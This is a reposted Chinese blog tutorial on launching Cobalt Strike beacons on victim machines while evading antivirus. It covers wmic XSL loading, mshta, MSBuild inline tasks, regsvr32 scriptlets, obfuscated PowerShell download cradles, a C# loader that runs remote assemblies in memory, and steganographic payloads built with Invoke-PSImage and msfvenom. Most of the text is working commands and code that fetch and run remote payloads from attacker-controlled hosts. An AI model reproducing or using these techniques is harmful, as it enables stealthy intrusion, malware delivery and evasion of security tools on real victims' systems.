當前位置：首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CS免杀上线方式

發布時間：2024/8/1 编程问答 51 豆豆

生活随笔收集整理的這篇文章主要介紹了 CS免杀上线方式小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

🌕寫在前面

🍊博客主頁：Scorpio_m7
🎉歡迎關注🔎點贊👍收藏??留言📝
🌟本文由 Scorpio_m7原創，CSDN首發！
📆首發時間：🌹2022年1月28日🌹
??堅持和努力一定能換來詩與遠方！
🙏作者水平很有限，如果發現錯誤，請留言轟炸哦！萬分感謝感謝感謝！

文章目錄

🌕寫在前面
Wmic
mshta
MSBUILD
regsvr32
POWSHELL
RGB隱寫上線

Wmic

wmic是一款Microsoft工具，它提供一個wmi命令行界面，用于本地和遠程計算機的各種管理功能，以及wmic查詢，例如系統設置、停止進程和本地或遠程運行腳本。因此，它可以調用XSL腳本來執行。可以通過xsl腳本來執行命令，腳本一般用jscript編寫。先編寫一個xsl腳本，然后放到VPS上，受害機執行下面命令會遠程下載并執行xsl的內容。

C:\Users\Desktop>wmic os get /format:"http://172.21.66.218:8080/a.xsl" <?xml version="1.0" encoding="UTF-16"?>0

通過安裝AMSI_bypass.cna重啟cs后attack->AMSI bypass Web Delivery(s)生成a.xsl，生成的代碼大致邏輯如下

<?xml version='1.0'?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script language="JScript" implements-prefix="user"> var binary = "rundll32.exe"; var code = "XXX"; function setversion() { var shell = new ActiveXObject('WScript.Shell'); ver = 'v4.0.30319'; try { shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\'); } catch(e) { ver = 'v2.0.50727'; } shell.Environment('Process')('COMPLUS_Version') = ver; } function debug(s) {} function base64ToStream(b) { var enc = new ActiveXObject("System.Text.ASCIIEncoding"); var length = enc.GetByteCount_2(b); var ba = enc.GetBytes_4(b); var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); ba = transform.TransformFinalBlock(ba, 0, length); var ms = new ActiveXObject("System.IO.MemoryStream"); ms.Write(ba, 0, (length / 4) * 3); ms.Position = 0; return ms; } function shellcode() { var serialized_obj = "XXX"; var entry_class = 'cactusTorch'; try { setversion(); var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); var al = new ActiveXObject('System.Collections.ArrayList'); var n = fmt.SurrogateSelector; var d = fmt.Deserialize_2(stm); al.Add(n); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); o.flame(binary,code); } catch (e) { debug(e.message); } return 0; } </msxsl:script> <xsl:template match="/"> <xsl:value-of select="user:shellcode()"/> </xsl:template> </xsl:stylesheet>

mshta

mshta.exe是微軟Windows操作系統相關程序，英文全稱Microsoft HTML Application，可翻譯為微軟超文本標記語言應用，用于執行.HTA文件。可以使用Microsoft MSHTA.exe工具解析JavaScript或VBScript的HTML文件。

編寫一個腳本，加載上面wmic講的的a.xsl，為了沒那么明顯，后綴名改為png，mshta同樣會把他當成hta文件解釋運行。腳本可以通過AMSI_bypass.cna生成a.xsl時勾選use hta one liner

<HTML> <HEAD> </HEAD> <BODY> <script language="javascript" > var xml = new ActiveXObject("Microsoft.XMLDOM"); xml.async = false; var xsl = xml; xsl.load("http://172.19.105.41:8080/a.xsl"); xml.transformNode(xsl); self.close(); </script> </body> </html>

后面就跟wmic一樣上線。

C:\Users\Desktop>mshta http://172.19.105.41:8080/a.png

MSBUILD

MSBuild是Microsoft Build Engine的縮寫，代表Microsoft和Visual Studio的新的生成平臺。MSBuild可在未安裝Visual Studio的環境中編譯.net的工程文件。MSBuild可編譯特定格式的xml文件。windows下的msbuild命令可以執行內容為特定格式的文件。在.NET Framework 4.0中支持了一項新功能”Inline Tasks”，被包含在元素UsingTask中，可用來在xml文件中執行c#代碼。參考：Use MSBuild To Do More

Xml的腳本，需要把executes shellcode.xml的shellcode改成cs的c#的payload，并且修改byte長度。

使用msbuild命令必須在指定的文件夾下，版本必須得是4.0。關閉Windows Defender運行32位MSBuild命令

C:\Windows\Microsoft.NET\Framework\v4.0.30319>MSBuild "C:\Users\Desktop\executes shellcode.xml" Microsoft(R) 生成引擎版本 4.7.2046.0 [Microsoft .NET Framework 版本 4.0.30319.42000] 版權所有 (C) Microsoft Corporation。保留所有權利。生成啟動時間為 2022/1/24 22:42:43。

regsvr32

Regsvr32命令用于注冊COM組件，是 Windows 系統提供的用來向系統注冊控件或者卸載控件的命令，以命令行方式運行。WinXP及以上系統的regsvr32.exe在windows\system32文件夾下；2000系統的regsvr32.exe在winnt\system32文件夾下。

/u 取消注冊
/s 指定 regsvr32 安靜運行，在成功注冊/反注冊DLL文件的前提下不顯示結果提示框。
/n 指定不調用 DllRegisterServer。此選項必須與 /i 共同使用。
/i:cmdline 調用 DllInstall 將它傳遞到可選的 [cmdline]。

C:\Users>regsvr32 /u /n /s /i:http://192.168.211.1/a.png scrobj.dll

后面的dll文件名不能更改。這個文件可以是任意后綴名，文件內容格式得是xml格式的：

<?XML version="1.0"?> <scriptlet> <registration progid="Pentest" classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd /k whoami"); ]]> </script> </registration> </scriptlet>

POWSHELL

本地執行powershell

powershell.exe -ExecutionPolicy Bypass -file rgb.ps1

遠程加載腳本并進行參數的混淆。

powershell.exe -nop -w hidden -c "$c1='IEX(New-Object Net.WebClient).123'.Replace('123','Downlo');$c2='adString(''httaaa.101.120:80/a'')'.Replace('aaa','p://172.19');IEX ($c1+$c2)"

powershell是一個exe程序，可以執行自己的命令或者powershell腳本。其實powershell的本質就是解釋器，類似于python。python解釋器通過解釋了python腳本來調用操作系統給予的各種底層函數；powershell通過解釋powershell腳本，來調用System.Management.Automation.dll。

System.Management.Automation是.NET 框架下的一個assembly類。而c#語言可以將所謂的c#“腳本”解釋后來調用.NET框架下所有的assembly。因此我們可以用c#實現powershell的功能。這在當powershell被某些策略禁用的時候十分好用。

assembly類可以加載byte[]類型的數據到內存中并當作一個assembly文件去執行。assembly文件就是c#寫的dll文件與exe文件。然而還有函數可以將遠程的exe文件下載到本地并用byte[]格式去保存。

這兩個方式結合后就可以實現下載遠程c#文件到內存中直接執行，可以繞過絕大多數殺軟。

using System; using System.Collections.Generic; using System.Text; using System.Threading.Tasks; using System; using System.IO; using System.Net; using System.Linq; using System.Reflection;namespace demo1{class Program{static void Main(string[] args){string fileDownloadurl = null;string filedownloadtype = null;byte[] filebuffer = null;try{fileDownloadurl = args[1];filedownloadtype = args[0];}catch{Console.WriteLine("\n加載遠程exe文件到內存執行：sflcsharp.exe -b exe文件的url");Console.WriteLine("\n加載遠程base64密文文件到內存執行：為sflcsharp.exe -b64 b64文件的url");Environment.Exit(0);}if (filedownloadtype == "-b"){filebuffer = Downloadbinarypefilebyhttp(fileDownloadurl);}if (filedownloadtype == "-b64"){filebuffer = downloadbase64(fileDownloadurl);}if (filebuffer != null){Console.WriteLine("正在將下載下來的程序加載到當前用戶的內存中");Assembly assemblyinstance = Assembly.Load(filebuffer); //將下載下來的程序加載到當前用戶的內存中Console.WriteLine("正在尋找程序入口點并執行程序");assemblyinstance.EntryPoint.Invoke(null,new object[] { null}); //找到程序的入口點并執行程序Console.WriteLine("\n程序執行完畢");}}public static byte[] Downloadbinarypefilebyhttp(string url){Console.WriteLine("\n創建WebClient類用來下載PE文件");WebClient downloadwebclient = new WebClient(); //這個類可以從指定url上下載或者上傳數據Console.WriteLine("\n下載文件后自動保存為byte[]格式\n");byte[] test = downloadwebclient.DownloadData(url);return test;}public static byte[] downloadbase64(string url){Console.WriteLine("\n創建WebClient類用來下載base64密文文件，下載到的數據按照字符串格式保存在內存");WebClient downloadwebclient = new WebClient(); //這個類可以從指定url上下載或者上傳數據string b64 = downloadwebclient.DownloadString(url);Console.WriteLine("將base64字符串轉換為byte[]類型的數據");byte[] test = Convert.FromBase64String(b64);return test;}} }

通過工具下載遠程文件到內存中直接執行

C:\Users\root\Desktop>sflcsharp.exe -b http://192.168.211.1/artifact.exe

RGB隱寫上線

使用嵌入方法，每個像素中2個顏色值的最低有效4位用于保存有效負載。

使用cs生成payload.ps1或者適用msf生成

root@kali:~/# msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.253.8 LPORT=5555 -f psh-reflection > payload.ps1

受害機器上設置執行策略

PS C:\Users\root\Desktop\Invoke-PSImage-master> Set-ExecutionPolicy Unrestricted -Scope CurrentUser

導入Invoke-PSImage.ps1文件

PS C:\Users\root\Desktop\Invoke-PSImage-master> Import-Module .\Invoke-PSImage.ps1

生成 shellcode 的圖片和上線命令

PS C:\Users\root\Desktop\Invoke-PSImage-master> Invoke-PSImage -Script .\payload.ps1 -Out .\evil.png -Image .\1.png -Web sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/evil.png"));$o=a Byte[] 3780;(0..14)|%{foreach($x in(0..251)){$p=$g.GetPixel($x,$_);$o[$_*252+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3538]))

把這個圖片上傳到服務器，并修改代碼的ip執行就可以上線。

PS C:\Users\root\Desktop\Invoke-PSImage-master> sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://192.168.211.1/evil.png"));$o=a Byte[] 3780;(0..14)|%{foreach($x in(0..251)){$p=$g.GetPixel($x,$_);$o[$_*252+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3538]))

總結

以上是生活随笔為你收集整理的CS免杀上线方式的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。

上一篇：速达登录服务器密码如何修改,登录速达软件
下一篇： QQ空间自动评论自动转发微博自动自动转